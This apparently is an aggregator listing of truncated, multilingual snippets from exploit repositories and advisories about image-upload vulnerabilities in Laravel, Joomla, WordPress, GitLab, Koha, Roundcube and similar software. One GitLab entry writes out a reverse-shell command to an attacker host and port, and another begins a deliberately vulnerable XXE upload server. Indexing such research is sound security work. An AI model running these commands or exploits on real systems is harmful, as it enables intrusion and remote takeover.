CVE-2021-43617

CVE-2021-43617 Это воспроизведение уязвимости PHP Laravel 8.70.1 — межсайтовый скриптинг XSS до межсайтовой подделки запросов CSRF Описание Уязвимость использует тот факт, что мы можем обойти функциональность загрузки файлов изображений Laravel для загрузки произвольных файлов на веб-сервер, что...

CVE-2021-23132

CVE-2021-23132 commedia가 이미지 업로드에 의도되지 않은 경로를 허용하여 RCE 발생. CVE-2020-24597 commedia의 디렉터리 트래버설로 RCE 발생 두 CVE는 동일합니다. PoC 전체 영향받는 버전: Joomla 코어 =3.9.24 사용자 요구사항: 관리자 계정 슈퍼 관리자 아님 접근 획득: 슈퍼 관리자를 생성한 후 RCE 트리거. Joomla에서 원격 코드 실행 RCE 자격 증명과 RCE 접속 링크를 사용하여 cve-2021-23132.py 실행:...

shining-mask

Shining Mask Hacks 이 저장소는 Shining LED 마스크용 맞춤형 Bluetooth Low EnergyBLE 컨트롤러를 만드는 코드와 지침을 포함하며, BLE 범위 내에 있는 모든 마스크의 얼굴 이미지를 자동으로 변경합니다. 이 저장소는 Invasion of the Facechangers: Halloween Hijinks with Bluetooth LED Masks의 동반 자료입니다. 기능 BLE 범위 내의 모든 Shining LED 마스크에 자동으로 연결하여 여우 얼굴을 업로드합니다. 스크립트가 실행되면 사...

cve-2022-44268

Эксплойт, адаптированный для HackTheBox Pilgrimage Автоматический скрипт на Python, использующий cve-2022-44268, чтобы добавить значение profile с именем файла из входного списка файлов во входной файл, обновить загрузку файла изображения с использованием входного файла request.req из Burpsuite у...

QuickResponseC2

Возможности - Использование - Демонстрация - Обзор рабочего процесса - TODO QuickResponseC2 QuickResponseC2 — это скрытая платформа управления и контроля C2, обеспечивающая непрямую и скрытую связь между атакующим и жертвой через промежуточный HTTP/S-сервер. Вся сетевая активность сводится к...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - 이미지 원격 코드 실행 python을 사용한 CVE-2019-8942 및 CVE-2019-8943 익스플로잇 : ExploitDB : https://www.exploit-db.com/exploits/49512 metasploit용 원본 익스플로잇 : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit : https://www.exploit-db.com/exploits/46662 동영상 : 설명: 아래 동영상은 공격자가 ...

CVE-2024-36057

CVE-2024-36057 — Koha 도서관 소프트웨어 CVE ID: CVE-2024-36057 제품: Koha 도서관 소프트웨어 취약점 유형: OS 명령 주입 CWE-78 CVSS 점수: 8.7 높음 인증 필요 영향을 받는 버전: 22.05.22 미만 공로: Karolis Narvilas 설명 Koha는 오픈소스 통합 도서관 시스템입니다. tools/upload-cover-image.pl의 표지 이미지 업로드 기능에 명령 주입 취약점이 존재합니다. 애플리케이션은 qx/unzip $filename -d $dirname/를...

CVE-2026-11112-XXE-via-SVG-Image-Upload

CVE-2026-11112 – SVG 이미지 업로드를 통한 XXE 프로그램 코드 Python Flask + XML 파서 xxeuploadserver.py - Uploads SVG, renders with lxml resolving entities from flask import Flask, request from lxml import etree app = Flaskname @app.route'/upload', methods='POST' def uploadsvg: svgdata = request.data Vulnerable:...

smart-sketcher-upload

smART Sketcher 2.0 - 블루투스 인증 우회 CVE-2026-0842 | BLE 인터페이스의 인증 누락 개요 smART Sketcher 2.0은 아이들이 이미지를 따라 그릴 수 있게 해주는 블루투스 지원 장난감 프로젝터입니다. 블루투스 연결에 인증이 없어서, 반경 내에 있는 누구나 페어링이나 알림 없이 연결하여 이미지를 기기에 전송할 수 있습니다. 데모 문제점 기기가 블루투스로 "smART Sketcher 2.0"으로 표시됨 연결에 페어링이 필요 없음 명령이나 이미지를 보내는 데 인증이 없음 누군가 연결해도 알림이...

-CVE-2026-1657

CVE-2026-1657 CVE-2026-1657 익스플로잇 — 'epuploadfilemedia' AJAX 엔드포인트를 통한 인증 없는 이미지 업로드 사용법 python3 ./CVE-2026-1657.py https://site.com/ labrat.jpeg...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Тестовая версия Создание команды для эксплуатации уязвимости echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Создание изображения для эксплуатации с помощью djvumake import os payloads= "echo 'bash -...

Gitlab-CVE-2021-22205

Gitlab バージョン -c バージョン 13.10.1-ce.0 でテスト済み...

CVE-2026-102290

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2026-102290

A vulnerability exists in CodeCanyon Rocket LMS up to version 2.2 . The issue resides in an unknown function within the Student Profile Image Upload component, where specific manipulations can lead to Cross-Site Scripting (XSS) . This attack can be executed remotely , and the exploit has been pub...

EUVD-2026-88641

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2026-102290 CodeCanyon Rocket LMS Student Profile Image Upload cross site scripting

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2026-102290 CodeCanyon Rocket LMS Student Profile Image Upload cross site scripting

A vulnerability was determined in CodeCanyon Rocket LMS up to 2.2. This affects an unknown function of the component Student Profile Image Upload. Executing a manipulation can lead to cross site scripting. The attack can be executed remotely. The exploit has been publicly disclosed and may be...

CVE-2021-22205

CVE-2021-22205 Preauth RCE через exiftool на Gitlab CE/EE Описание CVE GitLab использует ExifTool для сканирования каждого tiff/jpeg/jpg файла и удаления любых тегов, которые не входят в белый список. Но поскольку ExifTool не использует расширения файлов для определения типа файла, а полагается н...

CVE-2019-16113-Dockerfile

Bludit 디렉터리 트래버설 취약점（CVE-2019--16113） Bludit-3.9.2는 LAMP 환경만 있으면 실행할 수 있는 경량 CMS입니다. 이미지 업로드 시 Bludit은 파일 확장자를 확인한 후 파일을 제때 삭제하지 않으므로, 공격자는 uuid 매개변수를 제어하여 디렉터리 트래버설을 수행할 수도 있습니다. 구체적인 내용은 참고 취약점 환경 다음 명령을 실행하여 이미지를 빌드하고 Bludit 컨테이너를 시작합니다 cd Docker sudo docker build -t bludit:cve . 编译镜像 sudo...

CVE-2025-49113

CVE-2025-49113 – Эксплойт RCE для Roundcube Webmail Python PoC CVE ID: CVE-2025-49113 Тип эксплойта: Удаленное выполнение кода через PHP Object Injection Приложение: Roundcube Webmail ≤ 1.5.9 и ≤ 1.6.10 Язык эксплойта: Python Автор: 00xCanelo Статус: Протестировано и работает на уязвимых установк...